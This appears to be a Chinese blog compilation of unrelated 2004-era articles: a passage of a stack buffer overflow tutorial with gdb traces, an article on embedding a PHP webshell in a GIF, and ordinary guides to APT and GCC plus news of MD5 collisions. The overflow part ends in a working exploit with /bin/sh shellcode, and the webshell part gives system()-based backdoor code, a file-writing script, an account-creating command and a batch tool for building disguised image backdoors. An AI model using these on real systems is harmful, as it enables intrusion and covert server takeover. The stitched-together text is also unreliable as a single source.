0×080483eb <main+16>:   movl   $0×0,0xfffffffc(%ebp)


0×080483f2 <main+23>:   mov    0xc(%ebp),%eax


0×080483f5 <main+26>:   add    $0×4,%eax


0×080483f8 <main+29>:   mov    (%eax),%eax


0×080483fa <main+31>:   mov    %eax,0xfffffff8(%ebp)


0×080483fd <main+34>:   sub    $0xc,%esp


0×08048400 <main+37>:   pushl  0xfffffff8(%ebp)


0×08048403 <main+40>:   call   0×80483a8 <fun>


0×08048408 <main+45>:   add    $0×10,%esp


0×0804840b <main+48>:   mov    $0×0,%eax


0×08048410 <main+53>:   leave


0×08048411 <main+54>:   ret




注意这一行


0×08048403 <main+40>: call 0×80483a8 <fun>


这一行是调用fun函数,而下一行的指令地址为:0×08048408,也就是说当fun调用完以后要返回0×08048408


在原程序的第14行设置断点


b 14


run AAAA


这时,程序装运行到函数调用之前,看一下寄存器的地址


i reg



代码::


eax            0xbffffaa7       -1073743193


ecx            0xbffff960       -1073743520


edx            0xbffff954       -1073743532


ebx            0×4014effc       1075113980


esp            0xbffff8c0       0xbffff8c0


ebp            0xbffff8c8       0xbffff8c8


esi            0×2      2


edi            0×401510fc       1075122428


eip            0×80483fd        0×80483fd


eflags         0×200282 2097794


cs             0×73     115


ss             0×7b     123


ds             0×7b     123


es             0×7b     123


fs             0×0      0


gs             0×33     51




这里我们需要关心的寄存器主要主esp(栈顶指针),ebp(栈底指针),eip(指令指针)


看一下esp里的数据


x/8x $esp



代码::


0xbffff8c0:     0xbffffaa7      0×00000000      0xbffff928      0×4004cad4


0xbffff8d0:     0×00000002      0xbffff954      0xbffff960      0×40037090




再看一下str的地址


print str


$1 = 0xbffffaa7 “AAAA”


因为str就是命令行里的参数,很明显,这里调了main函数时后首先是参数地址被压入栈里。


然后单步执行程序后再看寄存器


si


si


si


i reg



代码::


eax            0xbffffaa7       -1073743193


ecx            0xbffff960       -1073743520


edx            0xbffff954       -1073743532


ebx            0×4014effc       1075113980


esp            0xbffff8ac       0xbffff8ac


ebp            0xbffff8c8       0xbffff8c8


esi            0×2      2


edi            0×401510fc       1075122428


eip            0×80483a8        0×80483a8


eflags         0×200396 2098070


cs             0×73     115


ss             0×7b     123


ds             0×7b     123


es             0×7b     123


fs             0×0      0


gs             0×33     51




我们发现esp的值变了,看看压进去了些什么东西


x/8x $esp



代码::


0xbffff8ac:     0×08048408      0xbffffaa7      0×4014effc      0×00000000


0xbffff8bc:     0×4014effc      0xbffffaa7      0×00000000      0xbffff928




这里我很可以很清楚的看到调用过程


首先把参数地址0xbffffaa7压入栈内,然后把返回地址0×08048408压入栈内


接着往下看


我们把fun函数也反汇编出来


disas fun



代码::


0×080483a8 <fun+0>:     push   %ebp


0×080483a9 <fun+1>:     mov    %esp,%ebp


0×080483ab <fun+3>:     sub    $0×18,%esp


0×080483ae <fun+6>:     sub    $0×8,%esp


0×080483b1 <fun+9>:     pushl  0×8(%ebp)


0×080483b4 <fun+12>:    lea    0xffffffe8(%ebp),%eax


0×080483b7 <fun+15>:    push   %eax


0×080483b8 <fun+16>:    call   0×80482e8 <_init+72>


0×080483bd <fun+21>:    add    $0×10,%esp


0×080483c0 <fun+24>:    sub    $0×8,%esp


0×080483c3 <fun+27>:    lea    0xffffffe8(%ebp),%eax


0×080483c6 <fun+30>:    push   %eax


0×080483c7 <fun+31>:    push   $0×80484e8


0×080483cc <fun+36>:    call   0×80482d8 <_init+56>


0×080483d1 <fun+41>:    add    $0×10,%esp


0×080483d4 <fun+44>:    mov    $0×0,%eax


0×080483d9 <fun+49>:    leave


0×080483da <fun+50>:    ret




再继续往下执行


si


si


si


x/16x $esp



代码::


0xbffff890:     0×08048414      0×080495d0      0xbffff8a8      0×080482b5


0xbffff8a0:     0×00000000      0×00000000      0xbffff8c8      0×08048408


0xbffff8b0:     0xbffffaa7      0×4014effc      0×00000000      0×4014effc


0xbffff8c0:     0xbffffaa7      0×00000000      0xbffff928      0×4004cad4




print &buffer


$7 = (char (*)[10]) 0xbffff890



这里可以看出,程序以为buffer分配了空间,而且空间大小为24字节。


程序继续执行


next


x/16x $esp



代码::


0xbffff890:     0×41414141      0×08049500      0xbffff8a8      0×080482b5


0xbffff8a0:     0×00000000      0×00000000      0xbffff8c8      0×08048408


0xbffff8b0:     0xbffffaa7      0×4014effc      0×00000000      0×4014effc


0xbffff8c0:     0xbffffaa7      0×00000000      0xbffff928      0×4004cad4




从这里我们可以看出从0xbffff890这个地址开始(也是buffer的地址)开始向高端内存填充,这里填充了


4个”A”A的ACSII码为41



3.其于栈的缓冲区溢出


我们还是接着这个程序来分析


我们定义buffer时是要求分配10字节的空间,而程序实际可分配了24个字节的空间,在strcpy执行时


向buffer里拷贝A时并未检查长度,如果我们向buffer里拷贝的A如果超过24个字节,就会产生溢出。


如果向buffer里拷贝的A的长度够长,把返回地址0×08048408覆盖了的话程序就会出错。一般会报段


错误或者非法指令,如果返回地址无法访问,则产生段误,如果不可执行则视为非法指令。



4.其于栈的缓冲区溢出利用。


既然我们可能覆盖返回地址,也就意味着我们可以控制程序的流程,如果这个返回地址正好是一个shellcode


的入口,那么就可以利用这个有溢出的程序来获得一个shell。


下面我们就写一个exploit来攻击这个程序



代码::


  //test_exploit.c


  #include<stdio.h>


  #include<unistd.h>


  char shellCode[] = “\x31\xdb\x89\xd8\xb0\x17\xcd\x80″


                     ”\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c”


                     ”\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb”


                     ”\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh”;


  int main()


  {


   char str[]=”AAAAAAAAAA”


              ”AAAAAAAAAA”


              ”AAAAAAAAAA”


              ”AAAAA”;


    *(int *)&str[28]=(int)shellCode;


    char *arg[]={“./test”,str,NULL};   


    execve(arg[0],arg,NULL);


   return 0;


  } 




这里我们把str的第28、29、30、31节字里存放shellCode的地址,因为从上面的分析我们得知返回地址在


距buffer偏移为28的地方。


编译这个程序


gcc -g -o test_exploit test_exploit.c


执行,哈哈,我们期待的shellCode出现了。

自从臭要饭的发布了那个脚本隐藏于图片中的程序之后(没看的朋友参见Bugkidz上的文章),不断就有
人来说什么程序不好用拉,图片生成不了啦什么的。于是乎昨天我就重新研究了一下原理。突然想到了用一种新方法就是用copy命令进行图片与脚本的合并,却
一直发现行不通,原因是不明:我一用copy合并后,图片的结构就被我破坏了,放到网页上不是图片只显示了一点就是干脆一个红叉。百思不得其解,发到论坛
上请教又没人睬我。于是我发狠在晚上花了两个小时时间,终于研究出个结果了,呼,好累啊~~~


(由于我是本地试验,而我家的Apache不支持Asp,所以以下都是用的php程序注入,(我只会php)理论上asp一样可行,哪位愿意就帮我试试了,谢了先~~~)


先看看之前我是怎么干的:



C:\>copy 1.gif+2.php 3.gif



上面一句的意思是把1.gif和2.php头尾相接生成一个新文件3.gif。2.php是我自己写的一个cmdphpshell文件(安全模式关闭),代码如下:



<?$cmd=$_POST['cmd'];@system ($cmd);?>



然后在一个wfw.php中加上这么一句:



<?include(“3.gif”);?>


/b参数是指把需要拼接的文件都当作非文本文件处理。如果不带此参数,那么,系统会自动认为这两个文件都是文本文件,而文本文件通常是1A作为结
束标志的,所以系统会在拼接两个文本文件时把前一个文本文件1A后(包括1A)的字符全部去除,以保证新生成文件的正常。这样也就解释了为什么我直接用
copy命令生成的图片会不可见,因为只要其中有1A字符存在,后面的字符都会被去除。


懂了这些,后面的就一帆风顺了。建立一个本地提交POST参数的html表单:



<html>


<head>


&nbsp; &nbsp; &nbsp; <title>图片隐藏脚本后门程序客户端</title>


</head>


<body>


<center><font size=3 color=#555555 class=fonts>图片隐藏脚本后门程序客户端</font><br>By 我非我<br>(命令执行功能)<br><br><br>



<form method=”post” action=”http://localhost/wfw.php” enctype=”multipart/form-data”>


<input type=’text’ name=”cmd” value=”" size=20>


<input type=submit name=”submit” value=”执行”>


<br><br>〖输入系统命令或程序,执行程序请输具体的路径〗


</form>


</center>


</body>


</html>



以上的action中由于我是本地测试,所以填的是localhost,具体用时,要改为那个插入include的文件的URL。


打开那个表单,在命令中我输入:



net user wfw /add



于是页面就跳转到了wfw.php上,出乎我意料的是:图片是完全显示出来了,但本应显示的命令应答却没有显示。于是我查看了一下我的机器,看是否命令完成:



C:>net user



结果是成功了。


小结:经过一段时间的探索和努力,终于成功完成了这个方法,是不是很简单?不需要再下载图片用臭要饭的那个程序加工然后再上传。完全可以轻轻松松
在Webshell中搞定。插入的脚本可以不是我那个脚本(太简陋了,又没回显,不知为何,希望有牛人可以帮我搞定),可以是这样的:把POST的数据直
接保存为另一个phpshell(或是aspshell)当然也可以自定义咯~~(最好插入前先加个密)



下面是一个php的脚本,在图片位置生成一个自定义文件,表单方面我就不写了,把上面的表单稍微改改就好了:



<?


if ($_POST['create'])


{


if (!is_writeable(str_replace(‘\’,'/’,dirname(__FILE__)))) {


&nbsp; &nbsp;exit;


&nbsp; &nbsp; } else {


&nbsp; &nbsp; if (file_exists($_POST['filename'])) {


&nbsp; &nbsp; exit;


&nbsp; &nbsp; } else {


&nbsp; &nbsp; $fp=@fopen(“”.$_POST['filename'].”",”wb”);


&nbsp; &nbsp; $content = $_POST['filedate'];


&nbsp; &nbsp; $fw=@fwrite($fp,$content);


&nbsp; &nbsp; @fclose($fp);


&nbsp; &nbsp; }


}


?>



因为是利用cmd命令执行,所以我就顺便写一个批处理,作用和要饭的那个程序一样。其实没什么意思,只是为了大家记住我这个人罢了。若是不想那么麻烦用批处理程序,直接输入:start下goto end上的语句就可以了。



@echo off


echo.


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;**********************************


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 脚本后门注入图片程序 By 我非我


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mail:wofeiwo1987@yahoo.com.cn


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; QQ:309088292


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;**********************************


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Usage:%0 ^<图片文件^> ^<脚本文件^> ^<生成文件^>


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Eg:%0 1.gif 2.php 3.gif


echo.


if ‘%1′==” goto err


if ‘%2′==” goto err


if ‘%3′==” goto err


:start


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;开始…….


copy /b %1+%2 %3


if not %ERRORLEVEL%==0 goto err


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;图片生成成功!


goto end


:err


echo &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;图片生成失败,请检查各参数是否正确!


:end


echo.



ps:另外,我注意到,图片不一定非要是gif文件,也可以是.bmp.png.jpg等格式,效果同样哦!

2004年12月19日

请注意本文已刊载在《开放系统世界》2003年第四期,该文章版权属于该杂志所有,请勿随意转载,转载请保留该声明

软件环境:Redhat 7.3
文章相关软件:apt-0.5.4cnc9-fr0.1.rh73
ftp://rpmfind.net/linux/freshrpms/valhalla/apt/apt-0.5.4cnc9-fr0.1.rh73.i386.rpm

一、 前言

1.1 什么是APT

   
新的操作系统装好以后,安装新软件是一件必不可少的工作。但是在Linux中,安装应用软件和Windows下有些不同,对于Linux初学者来说,安装
软件是一件很让人头疼的事情。由于很多Linux应用软件都是以源代码的形式发布的,这就要求用户根据自己系统的实际情况和自身的需要来配置、编译源程序
后,才能使用这些软件。Linux传统的通过源代码方式安装Linux对于大多数Linux
初学者往往显得过于复杂和困难。Redhat公司为了降低软件安装的复杂性,在自已出的发行版中推出了著名的软件包管理工具:RPM(Redhat
Packet
Manager),虽然RPM打上了RedHat的标志,但是其原始设计理念是开放式的,现在包括OpenLinux、S.u.S.E.以及Turbo
Linux等Linux的分发版本都有采用,可以算是公认的行业标准了。

虽然RPM提供的系软件管理功能使得软件安装和删除高度的自动化,简化了Linux环境下软件安装和管理的难度。但是RPM为保持系统一致性而具有
的软件包依赖性问题需要管理员手工解决。管理员在安装和卸载程序时就可能非常烦琐。例如:在某个软件A时会发现该软件依赖于另外一个软件B,从而需要下载
B,又发现B依赖与C,这样出现多次依赖嵌套问题。管理员不得不一一下载,然后再安装。
而Debian发布的软件管理系统发明了APT(高级软件
包工具,Advanced Package
Tool)则在系统软件安装维护方面更加方便易用。APT能够在发现软件包依赖性的同时自动下载相应的软件包并加以安装。APT使得管理员能毫无故障地执
行系统软件的升级。许多时候,当用户的软件安装对其他方法产生不良影响时,apt的一个改进能够让所有事情都保持正确。APT使得零停机时间升级成为现
实。
虽然APT是基于Debian的软件包管理工具,但是一个好消息是基于APT已经被一个巴西公司Conectiva移植到基于RPM的系统上。看到安乐

1.2 APT和其他软件管理工具的比较

在基于RPM的Linux平台上,有很多其他的软件包管理工具,如:autorpm、rpmfind、up2date/RHUN、urpmi/rpmdrake/Mandrake Update等等。我们下面就对这些工具进行比较。

  1. 依赖性发现只在某些情况下有效。
  2. 一般来说所有工具都需要服务器上有一个特殊的软件包索引文件。该文件包含有软件包信息。但是它们是一般文件,可以从其他的镜象服务器上下载。
  3.  软件包验证用来验证下载的软件包的正确性;镜象服务器验证实现验证镜象服务器和正式服务器的内容是否一致。
  4. 这些特性是ATP-RPM所独有的,而Debian的APT则不具有这些特性。
  5. 当升级软件包时显示升级的原因。这样管理员就可以了解升级软件包是由于安全原因或功能升级。

从上面的表中可以看到ATP和其他工具相比较具有更好的功能优势。因此对于基于RPM软件包管理的平台,如:Redhat、TurboLinux、SuSe、Mandrake等等,APT是一个非常优秀的软件管理工具。

1.3 安装APT

从rpmfind.net下载针对Red Hat7.3的ATP的RPM包,然后进行安装:

[root@www src]# rpm -ivh apt-0.5.4cnc9-fr0.1.rh73.i386.rpm

即可完成对在RedHat7.3平台上apt工具的安装。

二、 主要配置文件

1、/etc/apt/sources.list

这是APT最重要的配置文件,该文件记载了软件仓库服务器的地址等信息。有针对从RedHat6.2到8.0的所有版本的软件仓库路径信息。这里我们只需要把7.3版本对应的路径信息打开,其他的版本的路径信息则可以关闭。

# Red Hat Linux 7.3
rpm http://apt.freshrpms.net redhat/7.3/en/i386 os updates freshrpms
rpm-src http://apt.freshrpms.net redhat/7.3/en/i386 os updates freshrpms

2.其他在 /etc/apt 目录下还有其他以下诶配置文件apt.conf rpmpriorities vendors.list等,使用默认的配置即可,具体含义可以参考man文档。

三、 使用APT前的准备

安装APT软件包以后,管理员需要做的第一个工作就是运行:

[root@www src]# apt-get update

从默认服务器下载软件包数据库。

运行:

[root@www src]# apt-get check

atp来验证本地系统的完整性和一致性,判断本地系统的软件包依赖性是否一致。

注:如果本地系统一致性严重破坏,则可以使用apt-get -f install 命令在使用apt以前手工修复被破坏的依赖性。

如果希望定期升级系统,保证系统即时升级,弥补安全漏洞,只需要apt-get update 和 apt-get dist-upgrade 或 apt-get upgrade就可以了。

四、 主要命令

apt主要有apt-cache apt-cdrom apt-config apt-get等四个命令。用户用的最多的应该就是apt-get命令。这些命令的详细说明参见man手册,这里只对常用方法进行说明。

4.1 apt-get

1.apt-get update

更新本地apt-get的本地数据库,使其与服务器的pkglist文件同步。在升级以前一般都要执行本命令实现与服务器的一致。

2.apt-get check

验证本地系统的完整性。

3.apt-get dist-upgrade

类似于apt-get,但是将安装所有的基础软件包,并尽力升级一切软件包,并在需要是安装新软件包。

4.apt-get install package_name

安装某个软件包及其相关软件包
如 apt-get install openssh
不但会安装openssh,同时会升级openssl

5.apt-get remove package_name

删除该软件包,同时会删除依赖于它的软件包

6.apt-get source package_name

下载软件包的source rpm
例: apt-get source –compile zhcon
抓回 source rpm 並编译为二进制的rpm。–compile参数功能等同于rpm -ba

7.apt-get clean

删除保存在缓存目录下(/var/cache/apt/archives)的被下载的软件包

8.apt-get upgrade package_name

升级指定的软件包,并升级其依赖的软件包。

4.2 apt-cdrom

在安装系统以后,可以使用apt-cdrom把三张安装光盘加入到apt 的 sources.list 中

用法如下:

# apt-cdrom add
Using CD-ROM mount point /mnt/cdrom/
Unmounting CD-ROM
Please insert a Disc in the drive and press enter
Mounting CD-ROM
Identifying.. [af0e7c988f7ae057a4a3bccc8008134d-2]
Scanning Disc for index files.. Found 1 package indexes and 0 source indexes.
Please provide a name for this Disc, such as ‘MyDistro 6.0 Disk 1′:
Gaga V1.1 disc1
This Disc is called:
‘Gaga V1.1 disc1′
Reading Indexes… Done
Writing new source list
Source List entries for this Disc are:
rpm cdrom:[Gaga V1.1 disc1]/ RedHat gaga
Repeat this process for the rest of the CDs in your set.

三次运行apt-cdrom add命令,来加载三张安装光盘。在/etc/apt/sources.list中就应该会包含如下内容:

rpm cdrom:[Gaga V1.1 disc3]/ RedHat gaga
rpm cdrom:[Gaga V1.1 disc2]/ RedHat gaga
rpm cdrom:[Gaga V1.1 disc1]/ RedHat gaga

这样以后就可以使用apt-get来安装以前未安装的安装光盘上的软件了。

示例如下,若您的服务器没有和互联网连接,那么修改/etc/apt/sources.list,使其包含下面三行:

rpm cdrom:[Gaga V1.1 disc3]/ RedHat gaga
rpm cdrom:[Gaga V1.1 disc2]/ RedHat gaga
rpm cdrom:[Gaga V1.1 disc1]/ RedHat gaga
# apt-get update
# apt-get install imap

则根据指示放入第二张光盘即可,而不会出现不知道软件包在哪个光盘上,左寻右找的麻烦。

4.3 apt-cache

1.apt-cache showpkg
显示软件包的一些常规信息
例: apt-cache showpkg openssh

2.apt-cache stats
显示相关的统计信息顯示相關的統計資訊

3.apt-cache dump
显示缓存中的每个软件包的简要描述信息

4.apt-cache unmet
显示不符合一致性的依赖关系

5.apt-cache show
显示指定软件包的记录信息。类似于rpm -qi

6.apt-cache search
查找软件包,类似于rpm -qa|grep package_name
例: apt-cache search openssh

7.apt-cache depends
显示软件包的依赖性关系

8.apt-cache pkgnames
列出所有的软件包
例: $ apt-cache pkgnames openss
openssh-askpass
openssl096
openssl-perl
openssl095a
openssl-python
openssh-clients
openssl-devel
openssh-askpass-gnome
openssh
openssl
openssh-server

4.4 apt-config

1.apt-config dump
显示目前的配置信息。

2004年09月11日

2004年4月20日最新版本的GCC编译器3.4.0发布了。目前,GCC可以用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据需要选择安装支持的语言。GCC 3.4.0比以前版本更好地支持了C++标准。本文以在Redhat Linux上安装GCC3.4.0为例,介绍了GCC的安装过程。

安装之前,系统中必须要有cc或者gcc等编译器,并且是可用的,或者用环境变量CC指定系统上的编译器。如果系统上没有编译器,不能安装源代码形式的GCC 3.4.0。如果是这种情况,可以在网上找一个与你系统相适应的如RPM等二进制形式的GCC软件包来安装使用。本文介绍的是以源代码形式提供的GCC软件包的安装过程,软件包本身和其安装过程同样适用于其它Linux和Unix系统。

系统上原来的GCC编译器可能是把gcc等命令文件、库文件、头文件等分别存放到系统中的不同目录下的。与此不同,现在GCC建议我们将一个版本的GCC安装在一个单独的目录下。这样做的好处是将来不需要它的时候可以方便地删除整个目录即可(因为GCC没有uninstall功能);缺点是在安装完成后要做一些设置工作才能使编译器工作正常。在本文中我采用这个方案安装GCC 3.4.0,并且在安装完成后,仍然能够使用原来低版本的GCC编译器,即一个系统上可以同时存在并使用多个版本的GCC编译器。

按照本文提供的步骤和设置选项,即使以前没有安装过GCC,也可以在系统上安装上一个可工作的新版本的GCC编译器。

1. 下载

在GCC网站上(http://gcc.gnu.org/)或者通过网上搜索可以查找到下载资源。目前GCC的最新版本为 3.4.0。可供下载的文件一般有两种形式:gcc-3.4.0.tar.gz和gcc-3.4.0.tar.bz2,只是压缩格式不一样,内容完全一致,下载其中一种即可。

2. 解压缩

根据压缩格式,选择下面相应的一种方式解包(以下的“%”表示命令行提示符):

% tar xzvf gcc-3.4.0.tar.gz
或者
% bzcat gcc-3.4.0.tar.bz2 | tar xvf –

新生成的gcc-3.4.0这个目录被称为源目录,用${srcdir}表示它。以后在出现${srcdir}的地方,应该用真实的路径来替换它。用pwd命令可以查看当前路径。

在${srcdir}/INSTALL目录下有详细的GCC安装说明,可用浏览器打开index.html阅读。

3. 建立目标目录

目标目录(用${objdir}表示)是用来存放编译结果的地方。GCC建议编译后的文件不要放在源目录${srcdir]中(虽然这样做也可以),最好单独存放在另外一个目录中,而且不能是${srcdir}的子目录。

例如,可以这样建立一个叫 gcc-build 的目标目录(与源目录${srcdir}是同级目录):

% mkdir gcc-build
% cd gcc-build

以下的操作主要是在目标目录 ${objdir} 下进行。

4. 配置

配置的目的是决定将GCC编译器安装到什么地方(${destdir}),支持什么语言以及指定其它一些选项等。其中,${destdir}不能与${objdir}或${srcdir}目录相同。

配置是通过执行${srcdir}下的configure来完成的。其命令格式为(记得用你的真实路径替换${destdir}):

% ${srcdir}/configure –prefix=${destdir} [其它选项]

例如,如果想将GCC 3.4.0安装到/usr/local/gcc-3.4.0目录下,则${destdir}就表示这个路径。

在我的机器上,我是这样配置的:

% ../gcc-3.4.0/configure –prefix=/usr/local/gcc-3.4.0 –enable-threads=posix –disable-checking –enable–long-long –host=i386-redhat-linux –with-system-zlib –enable-languages=c,c++,java

将GCC安装在/usr/local/gcc-3.4.0目录下,支持C/C++和JAVA语言,其它选项参见GCC提供的帮助说明。

5. 编译

% make

这是一个漫长的过程。在我的机器上(P4-1.6),这个过程用了50多分钟。

6. 安装

执行下面的命令将编译好的库文件等拷贝到${destdir}目录中(根据你设定的路径,可能需要管理员的权限):

% make install

至此,GCC 3.4.0安装过程就完成了。

6. 其它设置

GCC 3.4.0的所有文件,包括命令文件(如gcc、g++)、库文件等都在${destdir}目录下分别存放,如命令文件放在bin目录下、库文件在lib下、头文件在include下等。由于命令文件和库文件所在的目录还没有包含在相应的搜索路径内,所以必须要作适当的设置之后编译器才能顺利地找到并使用它们。

6.1 gcc、g++、gcj的设置

要想使用GCC 3.4.0的gcc等命令,简单的方法就是把它的路径${destdir}/bin放在环境变量PATH中。我不用这种方式,而是用符号连接的方式实现,这样做的好处是我仍然可以使用系统上原来的旧版本的GCC编译器。

首先,查看原来的gcc所在的路径:

% which gcc

在我的系统上,上述命令显示:/usr/bin/gcc。因此,原来的gcc命令在/usr/bin目录下。我们可以把GCC 3.4.0中的gcc、g++、gcj等命令在/usr/bin目录下分别做一个符号连接:

% cd /usr/bin
% ln -s ${destdir}/bin/gcc gcc34
% ln -s ${destdir}/bin/g++ g++34
% ln -s ${destdir}/bin/gcj gcj34

这样,就可以分别使用gcc34、g++34、gcj34来调用GCC 3.4.0的gcc、g++、gcj完成对C、C++、JAVA程序的编译了。同时,仍然能够使用旧版本的GCC编译器中的gcc、g++等命令。

6.2 库路径的设置

将${destdir}/lib路径添加到环境变量LD_LIBRARY_PATH中,最好添加到系统的配置文件中,这样就不必要每次都设置这个环境变量了。

例如,如果GCC 3.4.0安装在/usr/local/gcc-3.4.0目录下,在RH Linux下可以直接在命令行上执行或者在文件/etc/profile中添加下面一句:

setenv LD_LIBRARY_PATH /usr/local/gcc-3.4.0/lib:$LD_LIBRARY_PATH

7. 测试

用新的编译命令(gcc34、g++34等)编译你以前的C、C++程序,检验新安装的GCC编译器是否能正常工作。

8. 根据需要,可以删除或者保留${srcdir}和${objdir}目录。

参考资料:
Installing GCC ( http://gcc.gnu.org/install/ )

后记:

前两天刚安装好了GCC 3.4.0,把安装规划、安装过程、一些注意事项记录下来就形成了这篇文章。希望对大家、特别是还没有安装过GCC的朋友在安装GCC的时候有所帮助

  2004年8月17日的美国加州圣巴巴拉,正在召开的国际密码学会议(Crypto’2004)安排了三场关于杂凑函数的特别报告。在国际著名密码学家Eli Biham和Antoine Joux相继做了对SHA-1的分析与给出SHA-0的一个碰撞之后,来自山东大学的王小云教授做了破译MD5、HAVAL-128、 MD4和RIPEMD算法的报告。在会场上,当她公布了MD系列算法的破解结果之后,报告被激动的掌声打断。王小云教授的报告轰动了全场,得到了与会专家的赞叹。报告结束时,与会者长时间热烈鼓掌,部分学者起立鼓掌致敬,这在密码学会议上是少见的盛况。王小云教授的报告缘何引起如此大的反响?因为她的研究成果作为密码学领域的重大发现宣告了固若金汤的世界通行密码标准MD5的堡垒轰然倒塌,引发了密码学界的轩然大波。会议总结报告这样写道:“我们该怎么办?MD5被重创了;它即将从应用中淘汰。SHA-1仍然活着,但也见到了它的末日。现在就得开始更换SHA-1了。”

关键词:碰撞=漏洞=别人可以伪造和冒用数字签名。
Hash函数与数字签名(数字手印)
HASH函数,又称杂凑函数,是在信息安全领域有广泛和重要应用的密码算法,它有一种类似于指纹的应用。在网络安全协议中,杂凑函数用来处理电子签名,将冗长的签名文件压缩为一段独特的数字信息,像指纹鉴别身份一样保证原来数字签名文件的合法性和安全性。在前面提到的SHA-1和MD5都是目前最常用的杂凑函数。经过这些算法的处理,原始信息即使只更动一个字母,对应的压缩信息也会变为截然不同的“指纹”,这就保证了经过处理信息的唯一性。为电子商务等提供了数字认证的可能性。
安全的杂凑函数在设计时必须满足两个要求:其一是寻找两个输入得到相同的输出值在计算上是不可行的,这就是我们通常所说的抗碰撞的;其二是找一个输入,能得到给定的输出在计算上是不可行的,即不可从结果推导出它的初始状态。现在使用的重要计算机安全协议,如SSL,PGP都用杂凑函数来进行签名,一旦找到两个文件可以产生相同的压缩值,就可以伪造签名,给网络安全领域带来巨大隐患。
MD5就是这样一个在国内外有着广泛的应用的杂凑函数算法,它曾一度被认为是非常安全的。然而,王小云教授发现,可以很快的找到MD5的“碰撞”,就是两个文件可以产生相同的“指纹”。这意味着,当你在网络上使用电子签名签署一份合同后,还可能找到另外一份具有相同签名但内容迥异的合同,这样两份合同的真伪性便无从辨别。王小云教授的研究成果证实了利用MD5算法的碰撞可以严重威胁信息系统安全,这一发现使目前电子签名的法律效力和技术体系受到挑战。因此,业界专家普林斯顿计算机教授Edward Felten等强烈呼吁信息系统的设计者尽快更换签名算法,而且他们强调这是一个需要立即解决的问题。

国际讲坛 王氏发现艳惊四座
面对Hash函数领域取得的重大研究进展,Crypto 2004 会议总主席StorageTek高级研究员Jim Hughes 17 日早晨表示,此消息太重要了,因此他已筹办该会成立24年来的首次网络广播(Webcast )。Hughes在会议上宣布:“会中将提出三份探讨杂凑碰撞(hash collisions )重要的研究报告。”其中一份是王小云等几位中国研究人员的研究发现。17日晚,王小云教授在会上把他们的研究成果做了宣读。这篇由王小云、冯登国、来学嘉、于红波四人共同完成的文章,囊括了对MD5、HAVAL-128、 MD4和RIPEMD四个著名HASH算法的破译结果。在王小云教授仅公布到他们的第三个惊人成果的时候,会场上已经是掌声四起,报告不得不一度中断。报告结束后,所有与会专家对他们的突出工作报以长时的热烈掌声,有些学者甚至起立鼓掌以示他们的祝贺和敬佩。当人们掌声渐息,来学嘉教授又对文章进行了一点颇有趣味的补充说明。由于版本问题,作者在提交会议论文时使用的一组常数和先行标准不同;在会议发现这一问题之后,王小云教授立即改变了那个常数,在很短的时间内就完成了新的数据分析,这段有惊无险的小插曲倒更加证明了他们论文的信服力,攻击方法的有效性,反而凸显了研究工作的成功。
会议结束时,很多专家围拢到王小云教授身边,既有简短的探讨,又有由衷的祝贺,褒誉之词不绝。包含公钥密码的主要创始人R. L. Rivest和A. Shamir在内的世界顶级的密码学专家也上前表示他们的欣喜和祝贺。
国际密码学专家对王小云教授等人的论文给予高度评价。
MD5的设计者,同时也是国际著名的公钥加密算法标准RSA的第一设计者R.Rivest在邮件中写道:“这些结果无疑给人非常深刻的印象,她应当得到我最热烈的祝贺,当然,我并不希望看到MD5就这样倒下,但人必须尊崇真理。”
Francois Grieu这样说:“王小云、冯登国、来学嘉和于红波的最新成果表明他们已经成功破译了MD4、MD5、HAVAL-128、RIPEMD-128。并且有望以更低的复杂度完成对SHA-0的攻击。一些初步的问题已经解决。他们赢得了非常热烈的掌声。”
另一位专家Greg Rose如此评价:“我刚刚听了Joux和王小云的报告,王所使用的技术能在任何初始值下用2^40次hash运算找出SHA-0的碰撞。她在报告中对四种HASH函数都给出了碰撞,她赢得了长时间的起立喝彩,(这在我印象中还是第一次)。…… 她是当今密码学界的巾帼英雄。……(王小云教授的工作)技术虽然没有公开,但结果是无庸质疑的,这种技术确实存在。…… 我坐在Ron Rivest前面,我听到他评论道:‘我们不得不做很多的重新思考了。’”

石破惊天 MD5堡垒轰然倒塌
一石击起千层浪,MD5的破译引起了密码学界的激烈反响。专家称这是密码学界近年来“最具实质性的研究进展”,各个密码学相关网站竞相报导这一惊人突破。
MD5破解专项网站关闭
MD5破解工程权威网站http://www.md5crk.com/ 是为了公开征集专门针对MD5的攻击而设立的,网站于2004年8月17日宣布:“中国研究人员发现了完整MD5算法的碰撞;Wang, Feng, Lai与Yu公布了MD5、MD4、HAVAL-128、RIPEMD-128几个 Hash函数的碰撞。这是近年来密码学领域最具实质性的研究进展。使用他们的技术,在数个小时内就可以找到MD5碰撞。……由于这个里程碑式的发现,MD5CRK项目将在随后48小时内结束”。
对此,http://www.readyresponse.org主页专门转载了该报道http://www.aspenleaf.com/distributed/distrib-recent.html和几个其它网站也进行了报道。
权威网站相继发表评论或者报告这一重大研究成果
经过统计,在论文发布两周之内,已经有近400个网站发布、引用和评论了这一成果。国内的许多新闻网站也以“演算法安全加密功能露出破绽 密码学界一片哗然”为题报道了这一密码学界的重大事件。(报导见http://www.technewsworld.com/perl/board/mboard.pl?board=lnitalkback&thread=895&id=896&display=1&tview=expanded&mview=flat,该消息在各新闻网站上多次转载。)

东方神韵  MD5终结者来自中国
